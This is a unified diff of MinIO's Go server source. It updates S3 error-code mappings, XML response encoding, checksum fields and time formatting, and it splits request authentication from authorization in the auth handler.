@@ -1886,8 +1988,12 @@ func toAPIErrorCode(ctx context.Context, err error) (apiErr APIErrorCode) {
 		apiErr = ErrAdminNoSuchGroup
 	case errGroupNotEmpty:
 		apiErr = ErrAdminGroupNotEmpty
+	case errNoSuchJob:
+		apiErr = ErrAdminNoSuchJob
 	case errNoSuchPolicy:
 		apiErr = ErrAdminNoSuchPolicy
+	case errNoPolicyToAttachOrDetach:
+		apiErr = ErrAdminPolicyChangeAlreadyApplied
 	case errSignatureMismatch:
 		apiErr = ErrSignatureDoesNotMatch
 	case errInvalidRange:
@@ -1907,8 +2013,12 @@ func toAPIErrorCode(ctx context.Context, err error) (apiErr APIErrorCode) {
 	// SSE errors
 	case errInvalidEncryptionParameters:
 		apiErr = ErrInvalidEncryptionParameters
+	case errInvalidEncryptionParametersSSEC:
+		apiErr = ErrInvalidEncryptionParametersSSEC
 	case crypto.ErrInvalidEncryptionMethod:
 		apiErr = ErrInvalidEncryptionMethod
+	case crypto.ErrInvalidEncryptionKeyID:
+		apiErr = ErrInvalidEncryptionKeyID
 	case crypto.ErrInvalidCustomerAlgorithm:
 		apiErr = ErrInvalidSSECustomerAlgorithm
 	case crypto.ErrMissingCustomerKey:
@@ -2026,6 +2136,8 @@ func toAPIErrorCode(ctx context.Context, err error) (apiErr APIErrorCode) {
 		apiErr = ErrSignatureDoesNotMatch
 	case hash.SHA256Mismatch:
 		apiErr = ErrContentSHA256Mismatch
+	case hash.ChecksumMismatch:
+		apiErr = ErrContentChecksumMismatch
 	case ObjectTooLarge:
 		apiErr = ErrEntityTooLarge
 	case ObjectTooSmall:
@@ -2054,7 +2166,7 @@ func toAPIErrorCode(ctx context.Context, err error) (apiErr APIErrorCode) {
 		apiErr = ErrRemoteDestinationNotFoundError
 	case BucketRemoteTargetNotFound:
 		apiErr = ErrRemoteTargetNotFoundError
-	case BucketRemoteConnectionErr:
+	case RemoteTargetConnectionErr:
 		apiErr = ErrReplicationRemoteConnectionError
 	case BucketRemoteAlreadyExists:
 		apiErr = ErrBucketRemoteAlreadyExists
@@ -2176,9 +2288,10 @@ func toAPIError(ctx context.Context, err error) APIError {
 	if apiErr.Code == "InternalError" {
 		// If we see an internal error try to interpret
 		// any underlying errors if possible depending on
-		// their internal error types. This code is only
-		// useful with gateway implementations.
+		// their internal error types.
 		switch e := err.(type) {
+		case batchReplicationJobError:
+			apiErr = APIError(e)
 		case InvalidArgument:
 			apiErr = APIError{
 				Code:           "InvalidArgument",
@@ -2231,7 +2344,7 @@ func toAPIError(ctx context.Context, err error) APIError {
 			}
 		case crypto.Error:
 			apiErr = APIError{
-				Code:           "XMinIOEncryptionError",
+				Code:           "XMinioEncryptionError",
 				Description:    e.Error(),
 				HTTPStatusCode: http.StatusBadRequest,
 			}
@@ -2241,7 +2354,7 @@ func toAPIError(ctx context.Context, err error) APIError {
 				Description:    e.Message,
 				HTTPStatusCode: e.StatusCode,
 			}
-			if globalIsGateway && strings.Contains(e.Message, "KMS is not configured") {
+			if strings.Contains(e.Message, "KMS is not configured") {
 				apiErr = APIError{
 					Code:           "NotImplemented",
 					Description:    e.Message,
@@ -2265,7 +2378,7 @@ func toAPIError(ctx context.Context, err error) APIError {
 				Description:    e.Error(),
 				HTTPStatusCode: e.Response().StatusCode,
 			}
-			// Add more Gateway SDKs here if any in future.
+			// Add more other SDK related errors here if any in future.
 		default:
 			//nolint:gocritic
 			if errors.Is(err, errMalformedEncoding) {
@@ -30,6 +30,8 @@ import (

 	"github.com/minio/minio/internal/crypto"
 	xhttp "github.com/minio/minio/internal/http"
+	"github.com/minio/minio/internal/logger"
+	xxml "github.com/minio/xxml"
 )

 // Returns a hexadecimal representation of time at the
@@ -63,11 +65,31 @@ func setCommonHeaders(w http.ResponseWriter) {

 // Encodes the response headers into XML format.
 func encodeResponse(response interface{}) []byte {
-	var bytesBuffer bytes.Buffer
-	bytesBuffer.WriteString(xml.Header)
-	e := xml.NewEncoder(&bytesBuffer)
-	e.Encode(response)
-	return bytesBuffer.Bytes()
+	var buf bytes.Buffer
+	buf.WriteString(xml.Header)
+	if err := xml.NewEncoder(&buf).Encode(response); err != nil {
+		logger.LogIf(GlobalContext, err)
+		return nil
+	}
+	return buf.Bytes()
+}
+
+// Use this encodeResponseList() to support control characters
+// this function must be used by only ListObjects() for objects
+// with control characters, this is a specialized extension
+// to support AWS S3 compatible behavior.
+//
+// Do not use this function for anything other than ListObjects()
+// variants, please open a github discussion if you wish to use
+// this in other places.
+func encodeResponseList(response interface{}) []byte {
+	var buf bytes.Buffer
+	buf.WriteString(xxml.Header)
+	if err := xxml.NewEncoder(&buf).Encode(response); err != nil {
+		logger.LogIf(GlobalContext, err)
+		return nil
+	}
+	return buf.Bytes()
 }

 // Encodes the response headers into JSON format.
@@ -199,5 +221,12 @@ func setObjectHeaders(w http.ResponseWriter, objInfo ObjectInfo, rs *HTTPRangeSp
 		lc.SetPredictionHeaders(w, objInfo.ToLifecycleOpts())
 	}

+	if v, ok := objInfo.UserDefined[ReservedMetadataPrefix+"compression"]; ok {
+		if i := strings.LastIndexByte(v, '/'); i >= 0 {
+			v = v[i+1:]
+		}
+		w.Header()[xhttp.MinIOCompressed] = []string{v}
+	}
+
 	return nil
 }
@@ -29,19 +29,20 @@ import (
 	"strings"
 	"time"

+	"github.com/minio/minio/internal/amztime"
 	"github.com/minio/minio/internal/crypto"
 	"github.com/minio/minio/internal/handlers"
+	"github.com/minio/minio/internal/hash"
 	xhttp "github.com/minio/minio/internal/http"
 	"github.com/minio/minio/internal/logger"
+	xxml "github.com/minio/xxml"
 )

 const (
-	// RFC3339 a subset of the ISO8601 timestamp format. e.g 2014-04-29T18:30:38Z
-	iso8601TimeFormat = "2006-01-02T15:04:05.000Z" // Reply date format with nanosecond precision.
-	maxObjectList     = 1000                       // Limit number of objects in a listObjectsResponse/listObjectsVersionsResponse.
-	maxDeleteList     = 1000                       // Limit number of objects deleted in a delete call.
-	maxUploadsList    = 10000                      // Limit number of uploads in a listUploadsResponse.
-	maxPartsList      = 10000                      // Limit number of parts in a listPartsResponse.
+	maxObjectList  = 1000  // Limit number of objects in a listObjectsResponse/listObjectsVersionsResponse.
+	maxDeleteList  = 1000  // Limit number of objects deleted in a delete call.
+	maxUploadsList = 10000 // Limit number of uploads in a listUploadsResponse.
+	maxPartsList   = 10000 // Limit number of parts in a listPartsResponse.
 )

 // LocationResponse - format for location response.
@@ -162,6 +163,12 @@ type Part struct {
 	LastModified string
 	ETag         string
 	Size         int64
+
+	// Checksum values
+	ChecksumCRC32  string `xml:"ChecksumCRC32,omitempty"`
+	ChecksumCRC32C string `xml:"ChecksumCRC32C,omitempty"`
+	ChecksumSHA1   string `xml:"ChecksumSHA1,omitempty"`
+	ChecksumSHA256 string `xml:"ChecksumSHA256,omitempty"`
 }

 // ListPartsResponse - format for list parts response.
@@ -183,6 +190,7 @@ type ListPartsResponse struct {
 	MaxParts             int
 	IsTruncated          bool

+	ChecksumAlgorithm string
 	// List of parts.
 	Parts []Part `xml:"Part"`
 }
@@ -252,45 +260,88 @@ type ObjectVersion struct {
 }

 // MarshalXML - marshal ObjectVersion
-func (o ObjectVersion) MarshalXML(e *xml.Encoder, start xml.StartElement) error {
+func (o ObjectVersion) MarshalXML(e *xxml.Encoder, start xxml.StartElement) error {
 	if o.isDeleteMarker {
 		start.Name.Local = "DeleteMarker"
 	} else {
 		start.Name.Local = "Version"
 	}
-
 	type objectVersionWrapper ObjectVersion
 	return e.EncodeElement(objectVersionWrapper(o), start)
 }

-// StringMap is a map[string]string
-type StringMap map[string]string
+// DeleteMarkerVersion container for delete marker metadata
+type DeleteMarkerVersion struct {
+	Key          string
+	LastModified string // time string of format "2006-01-02T15:04:05.000Z"
+
+	// Owner of the object.
+	Owner Owner
+
+	IsLatest  bool
+	VersionID string `xml:"VersionId"`
+}
+
+// Metadata metadata items implemented to ensure XML marshaling works.
+type Metadata struct {
+	Items []struct {
+		Key   string
+		Value string
+	}
+}
+
+// Set add items, duplicate items get replaced.
+func (s *Metadata) Set(k, v string) {
+	for i, item := range s.Items {
+		if item.Key == k {
+			s.Items[i] = struct {
+				Key   string
+				Value string
+			}{
+				Key:   k,
+				Value: v,
+			}
+			return
+		}
+	}
+	s.Items = append(s.Items, struct {
+		Key   string
+		Value string
+	}{
+		Key:   k,
+		Value: v,
+	})
+}
+
+type xmlKeyEntry struct {
+	XMLName xxml.Name
+	Value   string `xml:",chardata"`
+}

 // MarshalXML - StringMap marshals into XML.
-func (s StringMap) MarshalXML(e *xml.Encoder, start xml.StartElement) error {
-	tokens := []xml.Token{start}
-
-	for key, value := range s {
-		t := xml.StartElement{}
-		t.Name = xml.Name{
-			Space: "",
-			Local: key,
-		}
-		tokens = append(tokens, t, xml.CharData(value), xml.EndElement{Name: t.Name})
+func (s *Metadata) MarshalXML(e *xxml.Encoder, start xxml.StartElement) error {
+	if s == nil {
+		return nil
 	}

-	tokens = append(tokens, xml.EndElement{
-		Name: start.Name,
-	})
+	if len(s.Items) == 0 {
+		return nil
+	}

-	for _, t := range tokens {
-		if err := e.EncodeToken(t); err != nil {
+	if err := e.EncodeToken(start); err != nil {
+		return err
+	}
+
+	for _, item := range s.Items {
+		if err := e.Encode(xmlKeyEntry{
+			XMLName: xxml.Name{Local: item.Key},
+			Value:   item.Value,
+		}); err != nil {
 			return err
 		}
 	}

-	// flush to ensure tokens are written
-	return e.Flush()
+	return e.EncodeToken(start.End())
 }

 // Object container for object metadata
@@ -307,7 +358,7 @@ type Object struct {
 	StorageClass string

 	// UserMetadata user-defined metadata
-	UserMetadata StringMap `xml:"UserMetadata,omitempty"`
+	UserMetadata *Metadata `xml:"UserMetadata,omitempty"`
 }

 // CopyObjectResponse container returns ETag and LastModified of the successfully copied object
@@ -350,6 +401,11 @@ type CompleteMultipartUploadResponse struct {
 	Bucket   string
 	Key      string
 	ETag     string
+
+	ChecksumCRC32  string `xml:"ChecksumCRC32,omitempty"`
+	ChecksumCRC32C string `xml:"ChecksumCRC32C,omitempty"`
+	ChecksumSHA1   string `xml:"ChecksumSHA1,omitempty"`
+	ChecksumSHA256 string `xml:"ChecksumSHA256,omitempty"`
 }

 // DeleteError structure.
@@ -425,7 +481,7 @@ func generateListBucketsResponse(buckets []BucketInfo) ListBucketsResponse {
 	for _, bucket := range buckets {
 		listbuckets = append(listbuckets, Bucket{
 			Name:         bucket.Name,
-			CreationDate: bucket.Created.UTC().Format(iso8601TimeFormat),
+			CreationDate: amztime.ISO8601Format(bucket.Created.UTC()),
 		})
 	}

@@ -438,6 +494,7 @@ func generateListBucketsResponse(buckets []BucketInfo) ListBucketsResponse {
 // generates an ListBucketVersions response for the said bucket with other enumerated options.
 func generateListVersionsResponse(bucket, prefix, marker, versionIDMarker, delimiter, encodingType string, maxKeys int, resp ListObjectVersionsInfo) ListVersionsResponse {
 	versions := make([]ObjectVersion, 0, len(resp.Objects))
+
 	owner := Owner{
 		ID:          globalMinioDefaultOwnerID,
 		DisplayName: "minio",
@@ -445,12 +502,12 @@ func generateListVersionsResponse(bucket, prefix, marker, versionIDMarker, delim
 	data := ListVersionsResponse{}

 	for _, object := range resp.Objects {
-		content := ObjectVersion{}
 		if object.Name == "" {
 			continue
 		}
+		content := ObjectVersion{}
 		content.Key = s3EncodeName(object.Name, encodingType)
-		content.LastModified = object.ModTime.UTC().Format(iso8601TimeFormat)
+		content.LastModified = amztime.ISO8601Format(object.ModTime.UTC())
 		if object.ETag != "" {
 			content.ETag = "\"" + object.ETag + "\""
 		}
@@ -508,7 +565,7 @@ func generateListObjectsV1Response(bucket, prefix, marker, delimiter, encodingTy
 			continue
 		}
 		content.Key = s3EncodeName(object.Name, encodingType)
-		content.LastModified = object.ModTime.UTC().Format(iso8601TimeFormat)
+		content.LastModified = amztime.ISO8601Format(object.ModTime.UTC())
 		if object.ETag != "" {
 			content.ETag = "\"" + object.ETag + "\""
 		}
@@ -557,7 +614,7 @@ func generateListObjectsV2Response(bucket, prefix, token, nextToken, startAfter,
 			continue
 		}
 		content.Key = s3EncodeName(object.Name, encodingType)
-		content.LastModified = object.ModTime.UTC().Format(iso8601TimeFormat)
+		content.LastModified = amztime.ISO8601Format(object.ModTime.UTC())
 		if object.ETag != "" {
 			content.ETag = "\"" + object.ETag + "\""
 		}
@@ -569,16 +626,16 @@ func generateListObjectsV2Response(bucket, prefix, token, nextToken, startAfter,
 		}
 		content.Owner = owner
 		if metadata {
-			content.UserMetadata = make(StringMap)
+			content.UserMetadata = &Metadata{}
 			switch kind, _ := crypto.IsEncrypted(object.UserDefined); kind {
 			case crypto.S3:
-				content.UserMetadata[xhttp.AmzServerSideEncryption] = xhttp.AmzEncryptionAES
+				content.UserMetadata.Set(xhttp.AmzServerSideEncryption, xhttp.AmzEncryptionAES)
 			case crypto.S3KMS:
-				content.UserMetadata[xhttp.AmzServerSideEncryption] = xhttp.AmzEncryptionKMS
+				content.UserMetadata.Set(xhttp.AmzServerSideEncryption, xhttp.AmzEncryptionKMS)
 			case crypto.SSEC:
-				content.UserMetadata[xhttp.AmzServerSideEncryptionCustomerAlgorithm] = xhttp.AmzEncryptionAES
+				content.UserMetadata.Set(xhttp.AmzServerSideEncryptionCustomerAlgorithm, xhttp.AmzEncryptionAES)
 			}
-			for k, v := range CleanMinioInternalMetadataKeys(object.UserDefined) {
+			for k, v := range cleanMinioInternalMetadataKeys(object.UserDefined) {
 				if strings.HasPrefix(strings.ToLower(k), ReservedMetadataPrefixLower) {
 					// Do not need to send any internal metadata
 					// values to client.
@@ -588,7 +645,7 @@ func generateListObjectsV2Response(bucket, prefix, token, nextToken, startAfter,
 				if equals(k, xhttp.AmzMetaUnencryptedContentLength, xhttp.AmzMetaUnencryptedContentMD5) {
 					continue
 				}
-				content.UserMetadata[k] = v
+				content.UserMetadata.Set(k, v)
 			}
 		}
 		contents = append(contents, content)
@@ -620,7 +677,7 @@ func generateListObjectsV2Response(bucket, prefix, token, nextToken, startAfter,
 func generateCopyObjectResponse(etag string, lastModified time.Time) CopyObjectResponse {
 	return CopyObjectResponse{
 		ETag:         "\"" + etag + "\"",
-		LastModified: lastModified.UTC().Format(iso8601TimeFormat),
+		LastModified: amztime.ISO8601Format(lastModified.UTC()),
 	}
 }

@@ -628,7 +685,7 @@ func generateCopyObjectResponse(etag string, lastModified time.Time) CopyObjectR
 func generateCopyObjectPartResponse(etag string, lastModified time.Time) CopyObjectPartResponse {
 	return CopyObjectPartResponse{
 		ETag:         "\"" + etag + "\"",
-		LastModified: lastModified.UTC().Format(iso8601TimeFormat),
+		LastModified: amztime.ISO8601Format(lastModified.UTC()),
 	}
 }

@@ -642,14 +699,20 @@ func generateInitiateMultipartUploadResponse(bucket, key, uploadID string) Initi
 }

 // generates CompleteMultipartUploadResponse for given bucket, key, location and ETag.
-func generateCompleteMultpartUploadResponse(bucket, key, location, etag string) CompleteMultipartUploadResponse {
-	return CompleteMultipartUploadResponse{
+func generateCompleteMultpartUploadResponse(bucket, key, location string, oi ObjectInfo) CompleteMultipartUploadResponse {
+	cs := oi.decryptChecksums()
+	c := CompleteMultipartUploadResponse{
 		Location: location,
 		Bucket:   bucket,
 		Key:      key,
 		// AWS S3 quotes the ETag in XML, make sure we are compatible here.
-		ETag: "\"" + etag + "\"",
+		ETag:           "\"" + oi.ETag + "\"",
+		ChecksumSHA1:   cs[hash.ChecksumSHA1.String()],
+		ChecksumSHA256: cs[hash.ChecksumSHA256.String()],
+		ChecksumCRC32:  cs[hash.ChecksumCRC32.String()],
+		ChecksumCRC32C: cs[hash.ChecksumCRC32C.String()],
 	}
+	return c
 }

 // generates ListPartsResponse from ListPartsInfo.
@@ -674,6 +737,7 @@ func generateListPartsResponse(partsInfo ListPartsInfo, encodingType string) Lis
 	listPartsResponse.PartNumberMarker = partsInfo.PartNumberMarker
 	listPartsResponse.IsTruncated = partsInfo.IsTruncated
 	listPartsResponse.NextPartNumberMarker = partsInfo.NextPartNumberMarker
+	listPartsResponse.ChecksumAlgorithm = partsInfo.ChecksumAlgorithm

 	listPartsResponse.Parts = make([]Part, len(partsInfo.Parts))
 	for index, part := range partsInfo.Parts {
@@ -681,7 +745,11 @@ func generateListPartsResponse(partsInfo ListPartsInfo, encodingType string) Lis
 		newPart.PartNumber = part.PartNumber
 		newPart.ETag = "\"" + part.ETag + "\""
 		newPart.Size = part.Size
-		newPart.LastModified = part.LastModified.UTC().Format(iso8601TimeFormat)
+		newPart.LastModified = amztime.ISO8601Format(part.LastModified.UTC())
+		newPart.ChecksumCRC32 = part.ChecksumCRC32
+		newPart.ChecksumCRC32C = part.ChecksumCRC32C
+		newPart.ChecksumSHA1 = part.ChecksumSHA1
+		newPart.ChecksumSHA256 = part.ChecksumSHA256
 		listPartsResponse.Parts[index] = newPart
 	}
 	return listPartsResponse
@@ -711,7 +779,7 @@ func generateListMultipartUploadsResponse(bucket string, multipartsInfo ListMult
 		newUpload := Upload{}
 		newUpload.UploadID = upload.UploadID
 		newUpload.Key = s3EncodeName(upload.Object, encodingType)
-		newUpload.Initiated = upload.Initiated.UTC().Format(iso8601TimeFormat)
+		newUpload.Initiated = amztime.ISO8601Format(upload.Initiated.UTC())
 		listMultipartUploadsResponse.Uploads[index] = newUpload
 	}
 	return listMultipartUploadsResponse
@@ -22,11 +22,11 @@ import (
 	"net"
 	"net/http"

-	"github.com/gorilla/mux"
 	"github.com/klauspost/compress/gzhttp"
 	"github.com/minio/console/restapi"
 	xhttp "github.com/minio/minio/internal/http"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	"github.com/minio/pkg/wildcard"
 	"github.com/rs/cors"
 )
@@ -35,8 +35,8 @@ func shouldEscape(c byte) bool {

 // s3URLEncode is based on Golang's url.QueryEscape() code,
 // while considering some S3 exceptions:
-//	- Avoid encoding '/' and '*'
-//	- Force encoding of '~'
+//   - Avoid encoding '/' and '*'
+//   - Force encoding of '~'
 func s3URLEncode(s string) string {
 	spaceCount, hexCount := 0, 0
 	for i := 0; i < len(s); i++ {
@@ -25,7 +25,6 @@ import (
 	"encoding/hex"
 	"errors"
 	"io"
-	"io/ioutil"
 	"net/http"
 	"net/url"
 	"strconv"
@@ -40,6 +39,7 @@ import (
 	xhttp "github.com/minio/minio/internal/http"
 	xjwt "github.com/minio/minio/internal/jwt"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/minio/internal/mcontext"
 	"github.com/minio/pkg/bucket/policy"
 	iampolicy "github.com/minio/pkg/iam/policy"
 )
@@ -85,6 +85,8 @@ func isRequestSignStreamingV4(r *http.Request) bool {
 }

 // Authorization type.
+//
+//go:generate stringer -type=authType -trimprefix=authType $GOFILE
 type authType int

 // List of all supported auth types.
@@ -149,9 +151,6 @@ func validateAdminSignature(ctx context.Context, r *http.Request, region string)
 		s3Err = isReqAuthenticated(ctx, r, region, serviceS3)
 	}
 	if s3Err != ErrNone {
-		reqInfo := (&logger.ReqInfo{}).AppendTags("requestHeaders", dumpRequest(r))
-		ctx := logger.SetReqInfo(ctx, reqInfo)
-		logger.LogIf(ctx, errors.New(getAPIError(s3Err).Description), logger.Application)
 		return cred, nil, owner, s3Err
 	}

@@ -288,28 +287,33 @@ func checkClaimsFromToken(r *http.Request, cred auth.Credentials) (map[string]in
 }

 // Check request auth type verifies the incoming http request
-// - validates the request signature
-// - validates the policy action if anonymous tests bucket policies if any,
-//   for authenticated requests validates IAM policies.
+//   - validates the request signature
+//   - validates the policy action if anonymous tests bucket policies if any,
+//     for authenticated requests validates IAM policies.
+//
 // returns APIErrorCode if any to be replied to the client.
 func checkRequestAuthType(ctx context.Context, r *http.Request, action policy.Action, bucketName, objectName string) (s3Err APIErrorCode) {
-	_, _, s3Err = checkRequestAuthTypeCredential(ctx, r, action, bucketName, objectName)
+	logger.GetReqInfo(ctx).BucketName = bucketName
+	logger.GetReqInfo(ctx).ObjectName = objectName
+
+	_, _, s3Err = checkRequestAuthTypeCredential(ctx, r, action)
 	return s3Err
 }

-// Check request auth type verifies the incoming http request
-// - validates the request signature
-// - validates the policy action if anonymous tests bucket policies if any,
-//   for authenticated requests validates IAM policies.
-// returns APIErrorCode if any to be replied to the client.
-// Additionally returns the accessKey used in the request, and if this request is by an admin.
-func checkRequestAuthTypeCredential(ctx context.Context, r *http.Request, action policy.Action, bucketName, objectName string) (cred auth.Credentials, owner bool, s3Err APIErrorCode) {
+func authenticateRequest(ctx context.Context, r *http.Request, action policy.Action) (s3Err APIErrorCode) {
+	if logger.GetReqInfo(ctx) == nil {
+		logger.LogIf(ctx, errors.New("unexpected context.Context does not have a logger.ReqInfo"), logger.Minio)
+		return ErrAccessDenied
+	}
+
+	var cred auth.Credentials
+	var owner bool
 	switch getRequestAuthType(r) {
 	case authTypeUnknown, authTypeStreamingSigned:
-		return cred, owner, ErrSignatureVersionNotSupported
+		return ErrSignatureVersionNotSupported
 	case authTypePresignedV2, authTypeSignedV2:
 		if s3Err = isReqAuthenticatedV2(r); s3Err != ErrNone {
-			return cred, owner, s3Err
+			return s3Err
 		}
 		cred, owner, s3Err = getReqAccessKeyV2(r)
 	case authTypeSigned, authTypePresigned:
@@ -319,52 +323,68 @@ func checkRequestAuthTypeCredential(ctx context.Context, r *http.Request, action
 			region = ""
 		}
 		if s3Err = isReqAuthenticated(ctx, r, region, serviceS3); s3Err != ErrNone {
-			return cred, owner, s3Err
+			return s3Err
 		}
 		cred, owner, s3Err = getReqAccessKeyV4(r, region, serviceS3)
 	}
 	if s3Err != ErrNone {
-		return cred, owner, s3Err
+		return s3Err
 	}

-	// LocationConstraint is valid only for CreateBucketAction.
-	var locationConstraint string
+	logger.GetReqInfo(ctx).Cred = cred
+	logger.GetReqInfo(ctx).Owner = owner
+
+	// region is valid only for CreateBucketAction.
+	var region string
 	if action == policy.CreateBucketAction {
 		// To extract region from XML in request body, get copy of request body.
-		payload, err := ioutil.ReadAll(io.LimitReader(r.Body, maxLocationConstraintSize))
+		payload, err := io.ReadAll(io.LimitReader(r.Body, maxLocationConstraintSize))
 		if err != nil {
 			logger.LogIf(ctx, err, logger.Application)
-			return cred, owner, ErrMalformedXML
+			return ErrMalformedXML
 		}

 		// Populate payload to extract location constraint.
-		r.Body = ioutil.NopCloser(bytes.NewReader(payload))
-
-		var s3Error APIErrorCode
-		locationConstraint, s3Error = parseLocationConstraint(r)
-		if s3Error != ErrNone {
-			return cred, owner, s3Error
+		r.Body = io.NopCloser(bytes.NewReader(payload))
+		region, s3Err = parseLocationConstraint(r)
+		if s3Err != ErrNone {
+			return s3Err
 		}

 		// Populate payload again to handle it in HTTP handler.
-		r.Body = ioutil.NopCloser(bytes.NewReader(payload))
-	}
-	if cred.AccessKey != "" {
-		logger.GetReqInfo(ctx).AccessKey = cred.AccessKey
+		r.Body = io.NopCloser(bytes.NewReader(payload))
 	}

+	logger.GetReqInfo(ctx).Region = region
+
+	return s3Err
+}
+
+func authorizeRequest(ctx context.Context, r *http.Request, action policy.Action) (s3Err APIErrorCode) {
+	reqInfo := logger.GetReqInfo(ctx)
+	if reqInfo == nil {
+		return ErrAccessDenied
+	}
+
+	cred := reqInfo.Cred
+	owner := reqInfo.Owner
+	region := reqInfo.Region
+	bucket := reqInfo.BucketName
+	object := reqInfo.ObjectName
+	versionID := reqInfo.VersionID
+
 	if action != policy.ListAllMyBucketsAction && cred.AccessKey == "" {
-		// Anonymous checks are not meant for ListBuckets action
+		// Anonymous checks are not meant for ListAllBuckets action
 		if globalPolicySys.IsAllowed(policy.Args{
 			AccountName:     cred.AccessKey,
 			Action:          action,
-			BucketName:      bucketName,
-			ConditionValues: getConditionValues(r, locationConstraint, "", nil),
+			BucketName:      bucket,
+			ConditionValues: getConditionValues(r, region, "", nil),
 			IsOwner:         false,
-			ObjectName:      objectName,
+			ObjectName:      object,
 		}) {
 			// Request is allowed return the appropriate access key.
-			return cred, owner, ErrNone
+			return ErrNone
 		}

 		if action == policy.ListBucketVersionsAction {
@@ -373,31 +393,45 @@ func checkRequestAuthTypeCredential(ctx context.Context, r *http.Request, action
 			if globalPolicySys.IsAllowed(policy.Args{
 				AccountName:     cred.AccessKey,
 				Action:          policy.ListBucketAction,
-				BucketName:      bucketName,
-				ConditionValues: getConditionValues(r, locationConstraint, "", nil),
+				BucketName:      bucket,
+				ConditionValues: getConditionValues(r, region, "", nil),
 				IsOwner:         false,
-				ObjectName:      objectName,
+				ObjectName:      object,
 			}) {
 				// Request is allowed return the appropriate access key.
-				return cred, owner, ErrNone
+				return ErrNone
 			}
 		}

-		return cred, owner, ErrAccessDenied
+		return ErrAccessDenied
+	}
+	if action == policy.DeleteObjectAction && versionID != "" {
+		if !globalIAMSys.IsAllowed(iampolicy.Args{
+			AccountName:     cred.AccessKey,
+			Groups:          cred.Groups,
+			Action:          iampolicy.Action(policy.DeleteObjectVersionAction),
+			BucketName:      bucket,
+			ConditionValues: getConditionValues(r, "", cred.AccessKey, cred.Claims),
+			ObjectName:      object,
+			IsOwner:         owner,
+			Claims:          cred.Claims,
+			DenyOnly:        true,
+		}) { // Request is not allowed if Deny action on DeleteObjectVersionAction
+			return ErrAccessDenied
+		}
 	}
-
 	if globalIAMSys.IsAllowed(iampolicy.Args{
 		AccountName:     cred.AccessKey,
 		Groups:          cred.Groups,
 		Action:          iampolicy.Action(action),
-		BucketName:      bucketName,
+		BucketName:      bucket,
 		ConditionValues: getConditionValues(r, "", cred.AccessKey, cred.Claims),
-		ObjectName:      objectName,
+		ObjectName:      object,
 		IsOwner:         owner,
 		Claims:          cred.Claims,
 	}) {
 		// Request is allowed return the appropriate access key.
-		return cred, owner, ErrNone
+		return ErrNone
 	}

 	if action == policy.ListBucketVersionsAction {
@@ -407,18 +441,41 @@ func checkRequestAuthTypeCredential(ctx context.Context, r *http.Request, action
 			AccountName:     cred.AccessKey,
 			Groups:          cred.Groups,
 			Action:          iampolicy.ListBucketAction,
-			BucketName:      bucketName,
+			BucketName:      bucket,
 			ConditionValues: getConditionValues(r, "", cred.AccessKey, cred.Claims),
-			ObjectName:      objectName,
+			ObjectName:      object,
 			IsOwner:         owner,
 			Claims:          cred.Claims,
 		}) {
 			// Request is allowed return the appropriate access key.
-			return cred, owner, ErrNone
+			return ErrNone
 		}
 	}

-	return cred, owner, ErrAccessDenied
+	return ErrAccessDenied
+}
+
+// Check request auth type verifies the incoming http request
+//   - validates the request signature
+//   - validates the policy action if anonymous tests bucket policies if any,
+//     for authenticated requests validates IAM policies.
+//
+// returns APIErrorCode if any to be replied to the client.
+// Additionally returns the accessKey used in the request, and if this request is by an admin.
+func checkRequestAuthTypeCredential(ctx context.Context, r *http.Request, action policy.Action) (cred auth.Credentials, owner bool, s3Err APIErrorCode) {
+	s3Err = authenticateRequest(ctx, r, action)
+	reqInfo := logger.GetReqInfo(ctx)
+	if reqInfo == nil {
+		return cred, owner, ErrAccessDenied
+	}
+
+	cred = reqInfo.Cred
+	owner = reqInfo.Owner
+	if s3Err != ErrNone {
+		return cred, owner, s3Err
+	}
+
+	return cred, owner, authorizeRequest(ctx, r, action)
 }

 // Verify if request has valid AWS Signature Version '2'.
@@ -500,11 +557,18 @@ func isSupportedS3AuthType(aType authType) bool {
 func setAuthHandler(h http.Handler) http.Handler {
 	// handler for validating incoming authorization headers.
 	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		tc, ok := r.Context().Value(mcontext.ContextTraceKey).(*mcontext.TraceCtxt)
+
 		aType := getRequestAuthType(r)
 		if aType == authTypeSigned || aType == authTypeSignedV2 || aType == authTypeStreamingSigned {
 			// Verify if date headers are set, if not reject the request
 			amzDate, errCode := parseAmzDateHeader(r)
 			if errCode != ErrNone {
+				if ok {
+					tc.FuncName = "handler.Auth"
+					tc.ResponseRecorder.LogErrBody = true
+				}
+
 				// All our internal APIs are sensitive towards Date
 				// header, for all requests where Date header is not
 				// present we will reject such clients.
@@ -516,6 +580,11 @@ func setAuthHandler(h http.Handler) http.Handler {
 			// or in the future, reject request otherwise.
 			curTime := UTCNow()
 			if curTime.Sub(amzDate) > globalMaxSkewTime || amzDate.Sub(curTime) > globalMaxSkewTime {
+				if ok {
+					tc.FuncName = "handler.Auth"
+					tc.ResponseRecorder.LogErrBody = true
+				}
+
 				writeErrorResponse(r.Context(), w, errorCodes.ToAPIErr(ErrRequestTimeTooSkewed), r.URL)
 				atomic.AddUint64(&globalHTTPStats.rejectedRequestsTime, 1)
 				return
@@ -525,6 +594,12 @@ func setAuthHandler(h http.Handler) http.Handler {
 			h.ServeHTTP(w, r)
 			return
 		}
+
+		if ok {
+			tc.FuncName = "handler.Auth"
+			tc.ResponseRecorder.LogErrBody = true
+		}
+
 		writeErrorResponse(r.Context(), w, errorCodes.ToAPIErr(ErrSignatureVersionNotSupported), r.URL)
 		atomic.AddUint64(&globalHTTPStats.rejectedRequestsAuth, 1)
 	})
@@ -564,7 +639,7 @@ func isPutRetentionAllowed(bucketName, objectName string, retDays int, retDate t

 	conditions := getConditionValues(r, "", cred.AccessKey, cred.Claims)
 	conditions["object-lock-mode"] = []string{string(retMode)}
-	conditions["object-lock-retain-until-date"] = []string{retDate.Format(time.RFC3339)}
+	conditions["object-lock-retain-until-date"] = []string{retDate.UTC().Format(time.RFC3339)}
 	if retDays > 0 {
 		conditions["object-lock-remaining-retention-days"] = []string{strconv.Itoa(retDays)}
 	}
@@ -604,22 +679,22 @@ func isPutRetentionAllowed(bucketName, objectName string, retDays int, retDate t
 func isPutActionAllowed(ctx context.Context, atype authType, bucketName, objectName string, r *http.Request, action iampolicy.Action) (s3Err APIErrorCode) {
 	var cred auth.Credentials
 	var owner bool
+	region := globalSite.Region
 	switch atype {
 	case authTypeUnknown:
 		return ErrSignatureVersionNotSupported
